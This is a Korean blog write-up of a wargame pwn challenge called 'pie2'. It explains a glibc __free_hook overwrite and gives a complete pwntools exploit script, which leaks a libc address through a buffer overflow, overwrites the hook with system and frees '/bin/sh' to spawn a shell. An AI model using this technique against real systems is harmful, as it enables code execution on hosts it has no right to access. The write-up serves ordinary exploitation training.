[PWN] pie2

다 켜져있다.

ida로 까봤다. 흐름은 대충 bof가 한번 일어나고, 특정 주소에 8byte를 덮어쓸 수 있고, 마지막에 특정 주소를 free할 수 있다는 것이다.

어셈블리도 찾아보면서 스택에 어떻게 쌓이는 지 확인했다.

대충 이런 식으로 쌓인다고 볼 수 있다.

 

free가 나온 것을 보니 강사님께서 수업 시간에 설명해주셨던 hook overwrite인 것 같다!

void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

 

위는 malloc 함수이다. 보면 중간에 __malloc_hook의 값이 0이 아닌지 확인하고 hook 함수를 실행하는 것을 확인할 수 있다. 그런데 이 함수들은 모두 libc에 있고, bss에 포함되어 있다!

 

bss에 포함되어 있다는 말은 즉슨, 우리가 함수의 실제 주소를 다른 값으로 덮을 수 있다는 것이다.

 

hook overwrite에 관한 설명은 다음 블로그를 참고했다.

익스플로잇은 간단할 것 같다. 먼저 bof로 main의 ret를 구해서 libc_base를 구하고, 구한 libc_base로 system 함수, free_hook 함수, /bin/sh의 주소를 구한다.

 

그리고 free_hook 함수는 system 함수로 덮고, 마지막에 free에 인자로 /bin/sh의 주소를 보내주면, 해당 주소는 null값이 아니기에 free_hook(/bin/sh)가 실행되고, 이는 결국 system(/bin/sh)로 이어진다!

 

아래는 libc 내에서 free_hook의 offset을 구한 것이다.

 

explit 코드는 다음과 같다.

from pwn import *

#context.log_level = 'debug'

p = process('./pie2')
e= ELF('./pie2')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')

libc_start_main_offset=libc.symbols['__libc_start_main']
system_offset=libc.symbols['system']
binsh_offset=next(libc.search(b"/bin/sh"))
free_hook_offset=0x1eee48

payload=b'A' * 0x48
p.recvuntil("Buf: ")
pause()
p.send(payload)

leak=u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base= leak - libc_start_main_offset - 243
log.info('libc_base - '+hex(libc_base))
system=libc_base + system_offset
binsh=libc_base + binsh_offset
free_hook=libc_base + free_hook_offset

p.recvuntil(b"To write: ")
pause()
p.sendline(str(free_hook).encode())
p.recvuntil(b"With: ")
pause()
p.sendline(str(system).encode())

p.recvuntil(b"To free: ")
pause()
p.sendline(str(binsh).encode())

p.interactive()

 

쉘을 따냈다!

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤